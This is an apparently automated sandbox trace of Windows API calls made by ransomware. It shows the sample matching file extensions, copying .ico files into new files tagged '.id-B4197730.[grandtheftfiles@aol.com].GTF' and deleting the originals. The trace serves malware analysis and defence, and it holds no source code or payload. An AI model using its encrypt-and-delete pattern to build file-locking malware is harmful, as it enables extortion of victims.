	[0068.688] lstrlenW (lpString=".jpg") returned 4
	[0068.688] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.688] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.688] lstrlenW (lpString="DisplayIcon.ico") returned 15
	[0068.688] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.688] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=88533) returned 1
	[0068.689] CloseHandle (hObject=0x330) returned 1
	[0068.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80
	[0068.689] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.689] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.689] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.689] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.690] GetLastError () returned 0x0
	[0068.690] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x159d5, lpOverlapped=0x0) returned 1
	[0068.694] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x159e0, lpOverlapped=0x0) returned 1
	[0068.696] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.696] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0068.696] SetEndOfFile (hFile=0x334) returned 1
	[0068.696] CloseHandle (hObject=0x334) returned 1
	[0068.699] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.699] SetEndOfFile (hFile=0x330) returned 1
	[0068.700] CloseHandle (hObject=0x330) returned 1
	[0068.700] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.700] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1
	[0068.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.700] lstrlenW (lpString=".doc") returned 4
	[0068.701] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.701] lstrlenW (lpString=".docx") returned 5
	[0068.701] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0068.701] lstrlenW (lpString=".pdf") returned 4
	[0068.701] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.701] lstrlenW (lpString=".xls") returned 4
	[0068.701] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.701] lstrlenW (lpString=".xlsx") returned 5
	[0068.701] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0068.701] lstrlenW (lpString=".ppt") returned 4
	[0068.701] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.701] lstrlenW (lpString=".zip") returned 4
	[0068.701] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.701] lstrlenW (lpString=".rar") returned 4
	[0068.701] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.701] lstrlenW (lpString=".bz2") returned 4
	[0068.701] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.701] lstrlenW (lpString=".7z") returned 3
	[0068.701] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.701] lstrlenW (lpString=".dbf") returned 4
	[0068.701] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.701] lstrlenW (lpString=".1cd") returned 4
	[0068.701] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.701] lstrlenW (lpString=".jpg") returned 4
	[0068.701] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.701] lstrlenW (lpString=".doc") returned 4
	[0068.701] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.701] lstrlenW (lpString=".docx") returned 5
	[0068.702] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0068.702] lstrlenW (lpString=".pdf") returned 4
	[0068.702] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.702] lstrlenW (lpString=".xls") returned 4
	[0068.702] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.702] lstrlenW (lpString=".xlsx") returned 5
	[0068.702] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0068.702] lstrlenW (lpString=".ppt") returned 4
	[0068.702] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.702] lstrlenW (lpString=".zip") returned 4
	[0068.702] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.702] lstrlenW (lpString=".rar") returned 4
	[0068.702] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.702] lstrlenW (lpString=".bz2") returned 4
	[0068.702] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.702] lstrlenW (lpString=".7z") returned 3
	[0068.702] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.702] lstrlenW (lpString=".dbf") returned 4
	[0068.702] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.702] lstrlenW (lpString=".1cd") returned 4
	[0068.702] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0068.702] lstrlenW (lpString=".jpg") returned 4
	[0068.702] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.702] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.702] lstrlenW (lpString="Print.ico") returned 9
	[0068.703] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.704] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1150) returned 1
	[0068.704] CloseHandle (hObject=0x330) returned 1
	[0068.704] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80
	[0068.704] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.705] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.705] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.705] GetLastError () returned 0x0
	[0068.705] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0068.746] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x480, lpOverlapped=0x0) returned 1
	[0068.747] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.747] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0068.747] SetEndOfFile (hFile=0x334) returned 1
	[0068.747] CloseHandle (hObject=0x334) returned 1
	[0068.748] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.748] SetEndOfFile (hFile=0x330) returned 1
	[0068.749] CloseHandle (hObject=0x330) returned 1
	[0068.749] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.749] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1
	[0068.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.750] lstrlenW (lpString=".doc") returned 4
	[0068.750] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.750] lstrlenW (lpString=".docx") returned 5
	[0068.750] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0068.750] lstrlenW (lpString=".pdf") returned 4
	[0068.750] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.750] lstrlenW (lpString=".xls") returned 4
	[0068.750] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.750] lstrlenW (lpString=".xlsx") returned 5
	[0068.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0068.750] lstrlenW (lpString=".ppt") returned 4
	[0068.750] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.750] lstrlenW (lpString=".zip") returned 4
	[0068.750] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.750] lstrlenW (lpString=".rar") returned 4
	[0068.750] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.750] lstrlenW (lpString=".bz2") returned 4
	[0068.750] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.750] lstrlenW (lpString=".7z") returned 3
	[0068.750] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.750] lstrlenW (lpString=".dbf") returned 4
	[0068.750] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.750] lstrlenW (lpString=".1cd") returned 4
	[0068.750] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.750] lstrlenW (lpString=".jpg") returned 4
	[0068.751] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.751] lstrlenW (lpString=".doc") returned 4
	[0068.751] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.751] lstrlenW (lpString=".docx") returned 5
	[0068.751] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0068.751] lstrlenW (lpString=".pdf") returned 4
	[0068.751] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.751] lstrlenW (lpString=".xls") returned 4
	[0068.751] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.751] lstrlenW (lpString=".xlsx") returned 5
	[0068.751] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0068.751] lstrlenW (lpString=".ppt") returned 4
	[0068.751] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.751] lstrlenW (lpString=".zip") returned 4
	[0068.751] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.751] lstrlenW (lpString=".rar") returned 4
	[0068.751] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.751] lstrlenW (lpString=".bz2") returned 4
	[0068.751] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.751] lstrlenW (lpString=".7z") returned 3
	[0068.751] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.751] lstrlenW (lpString=".dbf") returned 4
	[0068.751] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.751] lstrlenW (lpString=".1cd") returned 4
	[0068.751] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40
	[0068.752] lstrlenW (lpString=".jpg") returned 4
	[0068.752] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.752] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.752] lstrlenW (lpString="Rotate1.ico") returned 11
	[0068.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.752] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=894) returned 1
	[0068.752] CloseHandle (hObject=0x330) returned 1
	[0068.752] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80
	[0068.752] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.752] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.752] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.753] GetLastError () returned 0x0
	[0068.753] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0068.760] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x380, lpOverlapped=0x0) returned 1
	[0068.761] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.761] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.761] SetEndOfFile (hFile=0x334) returned 1
	[0068.761] CloseHandle (hObject=0x334) returned 1
	[0068.762] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.762] SetEndOfFile (hFile=0x330) returned 1
	[0068.763] CloseHandle (hObject=0x330) returned 1
	[0068.763] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.763] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1
	[0068.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.763] lstrlenW (lpString=".doc") returned 4
	[0068.763] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.763] lstrlenW (lpString=".docx") returned 5
	[0068.763] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0068.764] lstrlenW (lpString=".pdf") returned 4
	[0068.764] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.764] lstrlenW (lpString=".xls") returned 4
	[0068.764] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.764] lstrlenW (lpString=".xlsx") returned 5
	[0068.764] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0068.764] lstrlenW (lpString=".ppt") returned 4
	[0068.764] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.764] lstrlenW (lpString=".zip") returned 4
	[0068.764] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.764] lstrlenW (lpString=".rar") returned 4
	[0068.764] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.764] lstrlenW (lpString=".bz2") returned 4
	[0068.764] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.764] lstrlenW (lpString=".7z") returned 3
	[0068.764] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.764] lstrlenW (lpString=".dbf") returned 4
	[0068.764] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.764] lstrlenW (lpString=".1cd") returned 4
	[0068.764] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.764] lstrlenW (lpString=".jpg") returned 4
	[0068.764] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.764] lstrlenW (lpString=".doc") returned 4
	[0068.764] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.764] lstrlenW (lpString=".docx") returned 5
	[0068.764] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0068.764] lstrlenW (lpString=".pdf") returned 4
	[0068.764] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.765] lstrlenW (lpString=".xls") returned 4
	[0068.765] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.765] lstrlenW (lpString=".xlsx") returned 5
	[0068.765] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0068.765] lstrlenW (lpString=".ppt") returned 4
	[0068.765] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.765] lstrlenW (lpString=".zip") returned 4
	[0068.765] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.765] lstrlenW (lpString=".rar") returned 4
	[0068.765] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.765] lstrlenW (lpString=".bz2") returned 4
	[0068.765] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.765] lstrlenW (lpString=".7z") returned 3
	[0068.765] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.765] lstrlenW (lpString=".dbf") returned 4
	[0068.765] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.765] lstrlenW (lpString=".1cd") returned 4
	[0068.765] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0068.765] lstrlenW (lpString=".jpg") returned 4
	[0068.765] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.765] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.765] lstrlenW (lpString="Rotate2.ico") returned 11
	[0068.765] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.773] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=894) returned 1
	[0068.773] CloseHandle (hObject=0x368) returned 1
	[0068.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80
	[0068.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.774] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.774] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.777] GetLastError () returned 0x0
